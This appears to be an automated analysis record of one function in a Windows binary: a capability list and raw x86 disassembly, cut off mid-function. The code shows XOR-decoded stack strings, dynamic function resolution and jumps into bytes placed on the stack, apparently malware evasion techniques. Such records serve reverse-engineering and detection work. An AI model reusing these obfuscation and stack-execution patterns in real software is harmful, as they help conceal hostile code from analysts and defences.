Function at 0x42bee0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
lea ebx, [ebp - 0x57]
sub esp, 0x6c
mov dword [ebp - 0x57], 0xc1eb1542
mov dword [ebp - 0x53], 0x7c90ec48
mov byte [ebp - 0x4f], 0x42
mov al, byte [0x4e86c8]
test al, al
jne 0x42bf3d
mov dword [esp], 0x4e86c8
call fcn.004d5a00
test eax, eax
je 0x42bf3d
mov dword [esp], ebx
mov ecx, 0x4ed700
call fcn.0043167c
push eax
mov dword [esp], 0x4d65e8
call fcn.004013f0
mov dword [esp], 0x4e86c8
call fcn.004d5ad0
mov ecx, 0x4ed700
call fcn.0043164c
mov dword [esp], 0x4ed700
call fcn.00424ea0
mov dword [ebp - 0x57], 0xc1eb1542
mov dword [ebp - 0x53], 0x7c90ec48
mov byte [ebp - 0x4f], 0x42
mov al, byte [0x4e84f0]
test al, al
jne 0x42bfa4
mov dword [esp], 0x4e84f0
call fcn.004d5a00
test eax, eax
je 0x42bfa4
mov dword [esp], ebx
mov ecx, 0x4ed2ac
call fcn.0043167c
push eax
mov dword [esp], 0x4d6644
call fcn.004013f0
mov dword [esp], 0x4e84f0
call fcn.004d5ad0
mov ecx, 0x4ed2ac
call fcn.0043164c
mov dword [esp], 0x4ed2ac
call fcn.00424ea0
mov dword [ebp - 0x57], 0xc1eb1542
mov dword [ebp - 0x53], 0x7c90ec48
mov byte [ebp - 0x4f], 0x42
mov al, byte [0x4e8540]
test al, al
jne 0x42c00b
mov dword [esp], 0x4e8540
call fcn.004d5a00
test eax, eax
je 0x42c00b
mov dword [esp], ebx
mov ecx, 0x4ed324
call fcn.0043167c
push edi
mov dword [esp], 0x4d67e8
call fcn.004013f0
mov dword [esp], 0x4e8540
call fcn.004d5ad0
mov ecx, 0x4ed324
call fcn.0043164c
mov dword [esp], 0x4ed324
call fcn.00424ea0
mov dword [ebp - 0x57], 0xc1eb1542
mov dword [ebp - 0x53], 0x7c90ec48
mov byte [ebp - 0x4f], 0x42
mov al, byte [0x4e8580]
test al, al
jne 0x42c072
mov dword [esp], 0x4e8580
call fcn.004d5a00
test eax, eax
je 0x42c072
mov dword [esp], ebx
mov ecx, 0x4ed3c8
call fcn.0043167c
push esi
mov dword [esp], 0x4d698c
call fcn.004013f0
mov dword [esp], 0x4e8580
call fcn.004d5ad0
mov ecx, 0x4ed3c8
call fcn.0043164c
mov dword [esp], 0x4ed3c8
call fcn.00424ea0
mov dword [ebp - 0x57], 0xc1eb1542
mov dword [ebp - 0x53], 0x7c90ec48
mov byte [ebp - 0x4f], 0x42
mov al, byte [0x4e85c0]
test al, al
jne 0x42c0d9
mov dword [esp], 0x4e85c0
call fcn.004d5a00
test eax, eax
je 0x42c0d9
mov dword [esp], ebx
mov ecx, 0x4ed464
call fcn.0043167c
push ecx
mov dword [esp], 0x4d6b2c
call fcn.004013f0
mov dword [esp], 0x4e85c0
call fcn.004d5ad0
mov ecx, 0x4ed464
call fcn.0043164c
mov dword [esp], 0x4ed464
call fcn.00424ea0
mov dword [ebp - 0x57], 0xc1eb1542
mov dword [ebp - 0x53], 0x7c90ec48
mov byte [ebp - 0x4f], 0x42
mov al, byte [0x4e8600]
test al, al
jne 0x42c140
mov dword [esp], 0x4e8600
call fcn.004d5a00
test eax, eax
je 0x42c140
mov dword [esp], ebx
mov ecx, 0x4ed500
call fcn.0043167c
push edx
mov dword [esp], 0x4d6cc8
call fcn.004013f0
mov dword [esp], 0x4e8600
call fcn.004d5ad0
mov ecx, 0x4ed500
call fcn.0043164c
mov dword [esp], 0x4ed500
call fcn.00424ea0
mov dword [ebp - 0x57], 0xc1eb1542
mov dword [ebp - 0x53], 0x7c90ec48
mov byte [ebp - 0x4f], 0x42
mov al, byte [0x4e8658]
test al, al
jne 0x42c1a7
mov dword [esp], 0x4e8658
call fcn.004d5a00
test eax, eax
je 0x42c1a7
mov dword [esp], ebx
mov ecx, 0x4ed5c0
call fcn.0043167c
push eax
mov dword [esp], 0x4d6e60
call fcn.004013f0
mov dword [esp], 0x4e8658
call fcn.004d5ad0
mov ecx, 0x4ed5c0
call fcn.0043164c
mov dword [esp], 0x4ed5c0
call fcn.00424ea0
mov dword [ebp - 0x57], 0xc1eb1542
mov dword [ebp - 0x53], 0x7c90ec48
mov byte [ebp - 0x4f], 0x42
mov al, byte [0x4e8698]
test al, al
jne 0x42c20e
mov dword [esp], 0x4e8698
call fcn.004d5a00
test eax, eax
je 0x42c20e
mov dword [esp], ebx
mov ecx, 0x4ed620
call fcn.0043167c
push eax
mov dword [esp], 0x4d7000
call fcn.004013f0
mov dword [esp], 0x4e8698
call fcn.004d5ad0
mov ecx, 0x4ed620
mov esi, 0x4e7100
mov edi, ebx
call fcn.0043164c
mov dword [esp], 0x4ed620
call fcn.00424ea0
mov ecx, 0x3f
mov dword [ebp - 0x64], 0x19100602
rep movsb byte es:[edi], byte [esi]
mov al, byte [0x4e86c0]
test al, al
jne 0x42c278
mov dword [esp], 0x4e86c0
call fcn.004d5a00
test eax, eax
je 0x42c278
mov dword [esp], ebx
mov ecx, 0x4ed6c0
call fcn.00431614
push eax
mov dword [esp], 0x4d64c0
call fcn.004013f0
mov dword [esp], 0x4e86c0
call fcn.004d5ad0
mov ecx, 0x4ed6c0
call fcn.004315e4
mov dword [esp], 0x4ed6c0
call sub.msvcrt.dll_getenv
test eax, eax
je 0x42c2fe
lea eax, [ebp - 0x64]
call eax
mov dword [ebp - 0x57], 0xc1eb1542
mov dword [ebp - 0x53], 0x7c90ec48
mov byte [ebp - 0x4f], 0x42
mov al, byte [0x4e84f8]
test al, al
jne 0x42c2e8
mov dword [esp], 0x4e84f8
call fcn.004d5a00
test eax, eax
je 0x42c2e8
mov dword [esp], ebx
mov ecx, 0x4ed2b8
call fcn.0043167c
push eax
mov dword [esp], 0x4d6560
call fcn.004013f0
mov dword [esp], 0x4e84f8
call fcn.004d5ad0
mov ecx, 0x4ed2b8
call fcn.0043164c
mov dword [esp], 0x4ed2b8
call fcn.00424ea0
xor edi, edi
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_LocalHandle]
push eax
mov dword [ebp - 0x57], 0xc1eb1542
mov dword [ebp - 0x53], 0x7c90ec48
mov byte [ebp - 0x4f], 0x42
mov al, byte [0x4e8500]
test al, al
jne 0x42c35b
mov dword [esp], 0x4e8500
call fcn.004d5a00
test eax, eax
je 0x42c35b
mov dword [esp], ebx
mov ecx, 0x4ed2c4
call fcn.0043167c
push esi
mov dword [esp], 0x4d6588
call fcn.004013f0
mov dword [esp], 0x4e8500
call fcn.004d5ad0
mov ecx, 0x4ed2c4
call fcn.0043164c
mov dword [esp], 0x4ed2c4
call fcn.00424ea0
mov dword [ebp - 0x57], 0xc1eb1542
mov dword [ebp - 0x53], 0x7c90ec48
mov byte [ebp - 0x4f], 0x42
mov al, byte [0x4e8508]
test al, al
jne 0x42c3c2
mov dword [esp], 0x4e8508
call fcn.004d5a00
test eax, eax
je 0x42c3c2
mov dword [esp], ebx
mov ecx, 0x4ed2d0
call fcn.0043167c
push ecx
mov dword [esp], 0x4d65b0
call fcn.004013f0
mov dword [esp], 0x4e8508
call fcn.004d5ad0
mov ecx, 0x4ed2d0
call fcn.0043164c
mov dword [esp], 0x4ed2d0
call fcn.00424ea0
mov dword [ebp - 0x57], 0xc1eb1542
mov dword [ebp - 0x53], 0x7c90ec48
mov byte [ebp - 0x4f], 0x42
mov al, byte [0x4e8510]
test al, al
jne 0x42c429
mov dword [esp], 0x4e8510
call fcn.004d5a00
test eax, eax
je 0x42c429
mov dword [esp], ebx
mov ecx, 0x4ed2dc
call fcn.0043167c
push edx
mov dword [esp], 0x4d65d8
call fcn.004013f0
mov dword [esp], 0x4e8510
call fcn.004d5ad0
mov ecx, 0x4ed2dc
call fcn.0043164c
mov dword [esp], 0x4ed2dc
call fcn.00424ea0
mov dword [ebp - 0x57], 0xc1eb1542
mov dword [ebp - 0x53], 0x7c90ec48
mov byte [ebp - 0x4f], 0x42
mov al, byte [0x4e8518]
test al, al
jne 0x42c490
mov dword [esp], 0x4e8518
call fcn.004d5a00
test eax, eax
je 0x42c490
mov dword [esp], ebx
mov ecx, 0x4ed2e8
call fcn.0043167c
push eax
mov dword [esp], 0x4d65e0
call fcn.004013f0
mov dword [esp], 0x4e8518
call fcn.004d5ad0
mov ecx, 0x4ed2e8
call fcn.0043164c
mov dword [esp], 0x4ed2e8
call fcn.00424ea0
mov dword [ebp - 0x57], 0xc1eb1542
mov dword [ebp - 0x53], 0x7c90ec48
mov byte [ebp - 0x4f], 0x42
mov al, byte [0x4e8520]
test al, al
jne 0x42c4f7
mov dword [esp], 0x4e8520
call fcn.004d5a00
test eax, eax
je 0x42c4f7
mov dword [esp], ebx
mov ecx, 0x4ed2f4
call fcn.0043167c
push eax
mov dword [esp], 0x4d65e4
call fcn.004013f0
mov dword [esp], 0x4e8520
call fcn.004d5ad0
mov ecx, 0x4ed2f4
call fcn.0043164c
mov dword [esp], 0x4ed2f4
call fcn.00424ea0
mov dword [ebp - 0x57], 0xc1eb1542
mov dword [ebp - 0x53], 0x7c90ec48
mov byte [ebp - 0x4f], 0x42
mov al, byte [0x4e8528]
test al, al
jne 0x42c55e
mov dword [esp], 0x4e8528
call fcn.004d5a00
test eax, eax
je 0x42c55e
mov dword [esp], ebx
mov ecx, 0x4ed300
call fcn.0043167c
push eax
mov dword [esp], 0x4d65ec
call fcn.004013f0
mov dword [esp], 0x4e8528
call fcn.004d5ad0
mov ecx, 0x4ed300
call fcn.0043164c
mov dword [esp], 0x4ed300
call fcn.00424ea0
mov dword [ebp - 0x57], 0xc1eb1542
mov dword [ebp - 0x53], 0x7c90ec48
mov byte [ebp - 0x4f], 0x42
mov al, byte [0x4e8530]
test al, al
jne 0x42c5c5
mov dword [esp], 0x4e8530
call fcn.004d5a00
test eax, eax
je 0x42c5c5
mov dword [esp], ebx
mov ecx, 0x4ed30c
call fcn.0043167c
push eax
mov dword [esp], 0x4d65f0
call fcn.004013f0
mov dword [esp], 0x4e8530
call fcn.004d5ad0
mov ecx, 0x4ed30c
call fcn.0043164c
mov dword [esp], 0x4ed30c
call fcn.00424ea0
mov dword [ebp - 0x57], 0xc1eb1542
mov dword [ebp - 0x53], 0x7c90ec48
mov byte [ebp - 0x4f], 0x42
mov al, byte [0x4e8538]
test al, al
jne 0x42c62c
mov dword [esp], 0x4e8538
call fcn.004d5a00
test eax, eax
je 0x42c62c
mov dword [esp], ebx
mov ecx, 0x4ed318
call fcn.0043167c
push eax
mov dword [esp], 0x4d65f4
call fcn.004013f0
mov dword [esp], 0x4e8538
call fcn.004d5ad0
mov ecx, 0x4ed318
mov esi, 0x4e7100
mov edi, ebx
call fcn.0043164c
mov dword [esp], 0x4ed318
call fcn.00424ea0
mov ecx, 0x3f
mov dword [ebp - 0x64], 0x2d200e06
rep movsb byte es:[edi], byte [esi]
mov al, byte [0x4e8548]
test al, al
jne 0x42c696
mov dword [esp], 0x4e8548
call fcn.004d5a00
test eax, eax
je 0x42c696
mov dword [esp], ebx
mov ecx, 0x4ed340
call fcn.00431614
push edi
mov dword [esp], 0x4d65f8
call fcn.004013f0
mov dword [esp], 0x4e8548
call fcn.004d5ad0
mov ecx, 0x4ed340
call fcn.004315e4
mov dword [esp], 0x4ed340
call sub.msvcrt.dll_getenv
test eax, eax
je 0x42c71c
lea eax, [ebp - 0x64]
call eax
mov dword [ebp - 0x57], 0xc1eb1542
mov dword [ebp - 0x53], 0x7c90ec48
mov byte [ebp - 0x4f], 0x42
mov al, byte [0x4e8550]
test al, al
jne 0x42c706
mov dword [esp], 0x4e8550
call fcn.004d5a00
test eax, eax
je 0x42c706
mov dword [esp], ebx
mov ecx, 0x4ed380
call fcn.0043167c
push esi
mov dword [esp], 0x4d6604
call fcn.004013f0
mov dword [esp], 0x4e8550
call fcn.004d5ad0
mov ecx, 0x4ed380
call fcn.0043164c
mov dword [esp], 0x4ed380
call fcn.00424ea0
mov ecx, ebx
mov esi, 0xd
call fcn.0043148c
lea ecx, [ebp - 0x64]
call fcn.004313d0
mov eax, ecx
call fcn.0042aa74
mov edx, ebx
call fcn.0042a79c
mov byte [ebp - 0x4b], 0
mov ecx, 0xc
mov dword [ebp - 0x57], 0x66606f40
mov dword [ebp - 0x53], 0x74676d4f
mov dword [ebp - 0x4f], 0x4b707a66
mov eax, ecx
xor edx, edx
div esi
xor byte [ebp + ecx - 0x63], dl
inc ecx
cmp ecx, 0x18
jne 0x42c75c
lea ecx, [ebp - 0x64]
mov esi, 0x11
call fcn.004313d0
mov eax, ecx
call fcn.0042aa74
mov edx, ebx
call fcn.0042a79c
mov ecx, ebx
mov dword [0x4e8928], eax
call fcn.0043148c
lea ecx, [ebp - 0x64]
call fcn.004313d0
mov eax, ecx
call fcn.0042aa74
mov edx, ebx
call fcn.0042a79c
mov word [ebp - 0x4b], 0x797a
mov ecx, 0xe
mov dword [ebp - 0x57], 0x50646a49
mov dword [ebp - 0x53], 0x45606d73
mov dword [ebp - 0x4f], 0x6d756261
mov byte [ebp - 0x49], 0
mov eax, ecx
xor edx, edx
div esi
xor byte [ebp + ecx - 0x65], dl
inc ecx
cmp ecx, 0x1c
jne 0x42c7cd
lea ecx, [ebp - 0x64]
call fcn.004313d0
mov eax, ecx
call fcn.0042aa74
mov edx, ebx
call fcn.0042a79c
mov dword [ebp - 0x57], 0xc1eb1542
mov dword [0x4e8930], eax
mov dword [ebp - 0x53], 0x7c90ec48
mov byte [ebp - 0x4f], 0x42
mov al, byte [0x4e8558]
test al, al
jne 0x42c849
mov dword [esp], 0x4e8558
call fcn.004d5a00
test eax, eax
je 0x42c849
mov dword [esp], ebx
mov ecx, 0x4ed38c
call fcn.0043167c
push ecx
mov dword [esp], 0x4d6608
call fcn.004013f0
mov dword [esp], 0x4e8558
call fcn.004d5ad0
mov ecx, 0x4ed38c
call fcn.0043164c
mov dword [esp], 0x4ed38c
call fcn.00424ea0
mov dword [ebp - 0x57], 0xc1eb1542
mov dword [ebp - 0x53], 0x7c90ec48
mov byte [ebp - 0x4f], 0x42
mov al, byte [0x4e8560]
test al, al
jne 0x42c8b0
mov dword [esp], 0x4e8560
call fcn.004d5a00
test eax, eax
je 0x42c8b0
mov dword [esp], ebx
mov ecx, 0x4ed398
call fcn.0043167c
push edx
mov dword [esp], 0x4d6614
call fcn.004013f0
mov dword [esp], 0x4e8560
call fcn.004d5ad0
mov ecx, 0x4ed398
call fcn.0043164c
mov dword [esp], 0x4ed398
call fcn.00424ea0
mov dword [ebp - 0x57], 0xc1eb1542
mov dword [ebp - 0x53], 0x7c90ec48
mov byte [ebp - 0x4f], 0x42
mov al, byte [0x4e8568]
test al, al
jne 0x42c917
mov dword [esp], 0x4e8568
call fcn.004d5a00
test eax, eax
je 0x42c917
mov dword [esp], ebx
mov ecx, 0x4ed3a4
call fcn.0043167c
push eax
mov dword [esp], 0x4d6648
call fcn.004013f0
mov dword [esp], 0x4e8568
call fcn.004d5ad0
mov ecx, 0x4ed3a4
call fcn.0043164c
mov dword [esp], 0x4ed3a4
call fcn.00424ea0
mov dword [ebp - 0x57], 0xc1eb1542
mov dword [ebp - 0x53], 0x7c90ec48
mov byte [ebp - 0x4f], 0x42
mov al, byte [0x4e8570]
test al, al
jne 0x42c97e
mov dword [esp], 0x4e8570
call fcn.004d5a00
test eax, eax
je 0x42c97e
mov dword [esp], ebx
mov ecx, 0x4ed3b0
call fcn.0043167c
push eax
mov dword [esp], 0x4d6684
call fcn.004013f0
mov dword [esp], 0x4e8570
call fcn.004d5ad0
mov ecx, 0x4ed3b0
call fcn.0043164c
mov dword [esp], 0x4ed3b0
call fcn.00424ea0
mov dword [ebp - 0x57], 0xc1eb1542
mov dword [ebp - 0x53], 0x7c90ec48
mov byte [ebp - 0x4f], 0x42
mov al, byte [0x4e8578]
test al, al
jne 0x42c9e5
mov dword [esp], 0x4e8578
call fcn.004d5a00
test eax, eax
je 0x42c9e5
mov dword [esp], ebx
mov ecx, 0x4ed3bc
call fcn.0043167c
push eax
mov dword [esp], 0x4d66a4
call fcn.004013f0
mov dword [esp], 0x4e8578
call fcn.004d5ad0
mov ecx, 0x4ed3bc
lea ebx, [ebp - 0x57]
call fcn.0043164c
mov dword [esp], 0x4ed3bc
call fcn.00424ea0
mov dword [ebp - 0x57], 0xc1eb1542
mov dword [ebp - 0x53], 0x7c90ec48
mov byte [ebp - 0x4f], 0x42
mov al, byte [0x4e8588]
test al, al
jne 0x42ca4f
mov dword [esp], 0x4e8588
call fcn.004d5a00
test eax, eax
je 0x42ca4f
mov dword [esp], ebx
mov ecx, 0x4ed3d4
call fcn.0043167c
push eax
mov dword [esp], 0x4d66cc
call fcn.004013f0
mov dword [esp], 0x4e8588
call fcn.004d5ad0
mov ecx, 0x4ed3d4
call fcn.0043164c
mov dword [esp], 0x4ed3d4
call fcn.00424ea0
mov dword [ebp - 0x57], 0xc1eb1542
mov dword [ebp - 0x53], 0x7c90ec48
mov byte [ebp - 0x4f], 0x42
mov al, byte [0x4e8590]
test al, al
jne 0x42cab6
mov dword [esp], 0x4e8590
call fcn.004d5a00
test eax, eax
je 0x42cab6
mov dword [esp], ebx
mov ecx, 0x4ed3e0
call fcn.0043167c
push eax
mov dword [esp], 0x4d66f4
call fcn.004013f0
mov dword [esp], 0x4e8590
call fcn.004d5ad0
mov ecx, 0x4ed3e0
call fcn.0043164c
mov dword [esp], 0x4ed3e0
call fcn.00424ea0
mov dword [ebp - 0x57], 0xc1eb1542
mov dword [ebp - 0x53], 0x7c90ec48
mov byte [ebp - 0x4f], 0x42
mov al, byte [0x4e8598]
test al, al
jne 0x42cb1d
mov dword [esp], 0x4e8598
call fcn.004d5a00
test eax, eax
je 0x42cb1d
mov dword [esp], ebx
mov ecx, 0x4ed3ec
call fcn.0043167c
push edi
mov dword [esp], 0x4d6724
call fcn.004013f0
mov dword [esp], 0x4e8598
call fcn.004d5ad0
mov ecx, 0x4ed3ec
mov esi, 0x4e7100
mov edi, ebx
call fcn.0043164c
mov dword [esp], 0x4ed3ec
call fcn.00424ea0
mov ecx, 0x3f
mov dword [ebp - 0x64], 0x4130160a
rep movsb byte es:[edi], byte [esi]
mov al, byte [0x4e85a0]
test al, al
jne 0x42cb87
mov dword [esp], 0x4e85a0
call fcn.004d5a00
test eax, eax
je 0x42cb87
mov dword [esp], ebx
mov ecx, 0x4ed400
call fcn.00431614
push esi
mov dword [esp], 0x4d6748
call fcn.004013f0
mov dword [esp], 0x4e85a0
call fcn.004d5ad0
mov ecx, 0x4ed400
call fcn.004315e4
mov dword [esp], 0x4ed400
call sub.msvcrt.dll_getenv
test eax, eax
je 0x42cc0d
lea eax, [ebp - 0x64]
call eax
mov dword [ebp - 0x57], 0xc1eb1542
mov dword [ebp - 0x53], 0x7c90ec48
mov byte [ebp - 0x4f], 0x42
mov al, byte [0x4e85a8]
test al, al
jne 0x42cbf7
mov dword [esp], 0x4e85a8
call fcn.004d5a00
test eax, eax
je 0x42cbf7
mov dword [esp], ebx
mov ecx, 0x4ed440
call fcn.0043167c
push ecx
mov dword [esp], 0x4d67ec
call fcn.004013f0
mov dword [esp], 0x4e85a8
call fcn.004d5ad0
mov ecx, 0x4ed440
call fcn.0043164c
mov dword [esp], 0x4ed440
call fcn.00424ea0
mov byte [ebp - 0x4b], 0
mov edi, dword [0x4e8928]
mov ecx, 0xc
mov esi, 0xd
mov dword [ebp - 0x57], 0x6377646d
mov dword [ebp - 0x53], 0x34366d73
mov dword [ebp - 0x4f], 0x66656c29
mov eax, ecx
xor edx, edx
div esi
xor byte [ebp + ecx - 0x63], dl
inc ecx
cmp ecx, 0x18
jne 0x42cc36
mov dword [esp], ebx
call edi
mov ecx, ebx
push eax
mov esi, dword [0x4e8928]
call fcn.0043140c
mov dword [esp], ebx
call esi
mov ecx, ebx
push eax
mov esi, dword [0x4e8928]
call fcn.00431448
mov dword [esp], ebx
call esi
mov ecx, 0xb
push edx
mov edi, dword [0x4e8928]
mov dword [ebp - 0x57], 0x6f676973
mov dword [ebp - 0x53], 0x29343668
mov dword [ebp - 0x4f], 0x66656c
mov eax, ecx
mov esi, 0xb
xor edx, edx
div esi
xor byte [ebp + ecx - 0x62], dl
inc ecx
cmp ecx, 0x16
jne 0x42cc92
mov dword [esp], ebx
call edi
mov ecx, 0xb
push eax
mov edi, dword [0x4e8928]
mov dword [ebp - 0x57], 0x6a6c6877
mov dword [ebp - 0x53], 0x2972606a
mov dword [ebp - 0x4f], 0x66656c
mov eax, ecx
xor edx, edx
div esi
xor byte [ebp + ecx - 0x62], dl
inc ecx
cmp ecx, 0x16
jne 0x42cccd
mov dword [esp], ebx
mov esi, 0xb
call edi
mov ecx, 0xb
push eax
mov dword [ebp - 0x57], 0x7071644d
mov dword [ebp - 0x53], 0x45636265
mov dword [ebp - 0x4f], 0x4b7167
mov eax, ecx
xor edx, edx
div esi
xor byte [ebp + ecx - 0x62], dl
inc ecx
cmp ecx, 0x16
jne 0x42cd02
lea ecx, [ebp - 0x64]
call fcn.0043140c
mov eax, ecx
call fcn.0042aa74
mov edx, ebx
call fcn.0042a79c
mov dword [ebp - 0x57], 0xc1eb1542
mov dword [0x4e8924], eax
mov dword [ebp - 0x53], 0x7c90ec48
mov byte [ebp - 0x4f], 0x42
mov al, byte [0x4e85b0]
test al, al
jne 0x42cd7e
mov dword [esp], 0x4e85b0
call fcn.004d5a00
test eax, eax
je 0x42cd7e
mov dword [esp], ebx
mov ecx, 0x4ed44c
call fcn.0043167c
push eax
mov dword [esp], 0x4d6814
call fcn.004013f0
mov dword [esp], 0x4e85b0
call fcn.004d5ad0
mov ecx, 0x4ed44c
call fcn.0043164c
mov dword [esp], 0x4ed44c
call fcn.00424ea0
mov dword [ebp - 0x57], 0xc1eb1542
mov dword [ebp - 0x53], 0x7c90ec48
mov byte [ebp - 0x4f], 0x42
mov al, byte [0x4e85b8]
test al, al
jne 0x42cde5
mov dword [esp], 0x4e85b8
call fcn.004d5a00
test eax, eax
je 0x42cde5
mov dword [esp], ebx
mov ecx, 0x4ed458
call fcn.0043167c
push edi
mov dword [esp], 0x4d683c
call fcn.004013f0
mov dword [esp], 0x4e85b8
call fcn.004d5ad0
mov ecx, 0x4ed458
call fcn.0043164c
mov dword [esp], 0x4ed458
call fcn.00424ea0
mov dword [ebp - 0x57], 0xc1eb1542
mov dword [ebp - 0x53], 0x7c90ec48
mov byte [ebp - 0x4f], 0x42
mov al, byte [0x4e85c8]
test al, al
jne 0x42ce4c
mov dword [esp], 0x4e85c8
call fcn.004d5a00
test eax, eax
je 0x42ce4c
mov dword [esp], ebx
mov ecx, 0x4ed470
call fcn.0043167c
push esi
mov dword [esp], 0x4d6864
call fcn.004013f0
mov dword [esp], 0x4e85c8
call fcn.004d5ad0
mov ecx, 0x4ed470
call fcn.0043164c
mov dword [esp], 0x4ed470
call fcn.00424ea0
mov dword [ebp - 0x57], 0xc1eb1542
mov dword [ebp - 0x53], 0x7c90ec48
mov byte [ebp - 0x4f], 0x42
mov al, byte [0x4e85d0]
test al, al
jne 0x42ceb3
mov dword [esp], 0x4e85d0
call fcn.004d5a00
test eax, eax
je 0x42ceb3
mov dword [esp], ebx
mov ecx, 0x4ed47c
call fcn.0043167c
push ecx
mov dword [esp], 0x4d6898
call fcn.004013f0
mov dword [esp], 0x4e85d0
call fcn.004d5ad0
mov ecx, 0x4ed47c
call fcn.0043164c
mov dword [esp], 0x4ed47c
call fcn.00424ea0
mov dword [ebp - 0x57], 0xc1eb1542
mov dword [ebp - 0x53], 0x7c90ec48
mov byte [ebp - 0x4f], 0x42
mov al, byte [0x4e85d8]
test al, al
jne 0x42cf1a
mov dword [esp], 0x4e85d8
call fcn.004d5a00
test eax, eax
je 0x42cf1a
mov dword [esp], ebx
mov ecx, 0x4ed488
call fcn.0043167c
push edx
mov dword [esp], 0x4d68b8
call fcn.004013f0
mov dword [esp], 0x4e85d8
call fcn.004d5ad0
mov ecx, 0x4ed488
call fcn.0043164c
mov dword [esp], 0x4ed488
call fcn.00424ea0
mov dword [ebp - 0x57], 0xc1eb1542
mov dword [ebp - 0x53], 0x7c90ec48
mov byte [ebp - 0x4f], 0x42
mov al, byte [0x4e85e0]
test al, al
jne 0x42cf81
mov dword [esp], 0x4e85e0
call fcn.004d5a00
test eax, eax
je 0x42cf81
mov dword [esp], ebx
mov ecx, 0x4ed494
call fcn.0043167c
push eax
mov dword [esp], 0x4d68e0
call fcn.004013f0
mov dword [esp], 0x4e85e0
call fcn.004d5ad0
mov ecx, 0x4ed494
call fcn.0043164c
mov dword [esp], 0x4ed494
call fcn.00424ea0
mov dword [ebp - 0x57], 0xc1eb1542
mov dword [ebp - 0x53], 0x7c90ec48
mov byte [ebp - 0x4f], 0x42
mov al, byte [0x4e85e8]
test al, al
jne 0x42cfe8
mov dword [esp], 0x4e85e8
call fcn.004d5a00
test eax, eax
je 0x42cfe8
mov dword [esp], ebx
mov ecx, 0x4ed4a0
call fcn.0043167c
push eax
mov dword [esp], 0x4d6908
call fcn.004013f0
mov dword [esp], 0x4e85e8
call fcn.004d5ad0
mov ecx, 0x4ed4a0
call fcn.0043164c
mov dword [esp], 0x4ed4a0
call fcn.00424ea0
mov dword [ebp - 0x57], 0xc1eb1542
mov dword [ebp - 0x53], 0x7c90ec48
mov byte [ebp - 0x4f], 0x42
mov al, byte [0x4e85f0]
test al, al
jne 0x42d04f
mov dword [esp], 0x4e85f0
call fcn.004d5a00
test eax, eax
je 0x42d04f
mov dword [esp], ebx
mov ecx, 0x4ed4ac
call fcn.0043167c
push eax
mov dword [esp], 0x4d6938
call fcn.004013f0
mov dword [esp], 0x4e85f0
call fcn.004d5ad0
mov ecx, 0x4ed4ac
mov esi, 0x4e7100
mov edi, ebx
call fcn.0043164c
mov dword [esp], 0x4ed4ac
call fcn.00424ea0
mov ecx, 0x3f
mov dword [ebp - 0x64], 0x55401e0e
rep movsb byte es:[edi], byte [esi]
mov al, byte [0x4e85f8]
test al, al
jne 0x42d0b9
mov dword [esp], 0x4e85f8
call fcn.004d5a00
test eax, eax
je 0x42d0b9
mov dword [esp], ebx
mov ecx, 0x4ed4c0
call fcn.00431614
push eax
mov dword [esp], 0x4d695c
call fcn.004013f0
mov dword [esp], 0x4e85f8
call fcn.004d5ad0
mov ecx, 0x4ed4c0
call fcn.004315e4
mov dword [esp], 0x4ed4c0
call sub.msvcrt.dll_getenv
test eax, eax
je 0x42d13f
lea eax, [ebp - 0x64]
call eax
mov dword [ebp - 0x57], 0xc1eb1542
mov dword [ebp - 0x53], 0x7c90ec48
mov byte [ebp - 0x4f], 0x42
mov al, byte [0x4e8608]
test al, al
jne 0x42d129
mov dword [esp], 0x4e8608
call fcn.004d5a00
test eax, eax
je 0x42d129
mov dword [esp], ebx
mov ecx, 0x4ed50c
call fcn.0043167c
push eax
mov dword [esp], 0x4d6a00
call fcn.004013f0
mov dword [esp], 0x4e8608
call fcn.004d5ad0
mov ecx, 0x4ed50c
call fcn.0043164c
mov dword [esp], 0x4ed50c
call fcn.00424ea0
mov dword [ebp - 0x57], 0x4f756555
mov ecx, 0x12
mov esi, 0x13
mov dword [ebp - 0x53], 0x6a70606c
mov dword [ebp - 0x4f], 0x66604e62
mov dword [ebp - 0x4b], 0x636c426e
mov word [ebp - 0x47], 0x516a
mov byte [ebp - 0x45], 0
mov eax, ecx
xor edx, edx
div esi
xor byte [ebp + ecx - 0x69], dl
inc ecx
cmp ecx, 0x24
jne 0x42d16f
lea ecx, [ebp - 0x64]
mov esi, 0x13
call fcn.004313d0
mov eax, ecx
call fcn.0042aa74
mov edx, ebx
call fcn.0042a79c
mov dword [ebp - 0x57], 0x4f756555
mov ecx, 0x12
mov dword [ebp - 0x53], 0x6a70606c
mov dword [ebp - 0x4f], 0x66604e62
mov dword [ebp - 0x4b], 0x636c426e
mov word [ebp - 0x47], 0x476a
mov byte [ebp - 0x45], 0
mov eax, ecx
xor edx, edx
div esi
xor byte [ebp + ecx - 0x69], dl
inc ecx
cmp ecx, 0x24
jne 0x42d1c5
lea ecx, [ebp - 0x64]
mov esi, 0x17
call fcn.004313d0
mov eax, ecx
call fcn.0042aa74
mov edx, ebx
call fcn.0042a79c
mov dword [ebp - 0x57], 0x57627053
mov ecx, 0x14
mov dword [ebp - 0x53], 0x6b676c68
mov dword [ebp - 0x4f], 0x61437572
mov dword [ebp - 0x4b], 0x78686f7b
mov dword [ebp - 0x47], 0x47767c62
mov byte [ebp - 0x43], 0
mov eax, ecx
xor edx, edx
div esi
xor byte [ebp + ecx - 0x6b], dl
inc ecx
cmp ecx, 0x28
jne 0x42d21c
lea ecx, [ebp - 0x64]
mov esi, 0x11
call fcn.004313d0
mov eax, ecx
call fcn.0042aa74
mov edx, ebx
call fcn.0042a79c
mov ecx, ebx
mov dword [ebp - 0x64], 0x65656c53
mov dword [0x4e892c], eax
mov word [ebp - 0x60], 0x70
call fcn.004313d0
mov eax, ebx
call fcn.0042aa74
lea edx, [ebp - 0x64]
call fcn.0042a79c
mov dword [ebp - 0x57], 0x51756557
mov ecx, 0x10
mov dword [ebp - 0x53], 0x6371777a
mov dword [ebp - 0x4f], 0x7e6c456a
mov dword [ebp - 0x4b], 0x7d6e6579
mov byte [ebp - 0x47], 0
mov eax, ecx
xor edx, edx
div esi
xor byte [ebp + ecx - 0x67], dl
inc ecx
cmp ecx, 0x20
jne 0x42d294
lea ecx, [ebp - 0x64]
call fcn.0043140c
mov eax, ecx
call fcn.0042aa74
mov edx, ebx
lea ebx, [ebp - 0x57]
call fcn.0042a79c
mov byte [ebp - 0x4b], 0
mov ecx, 0xc
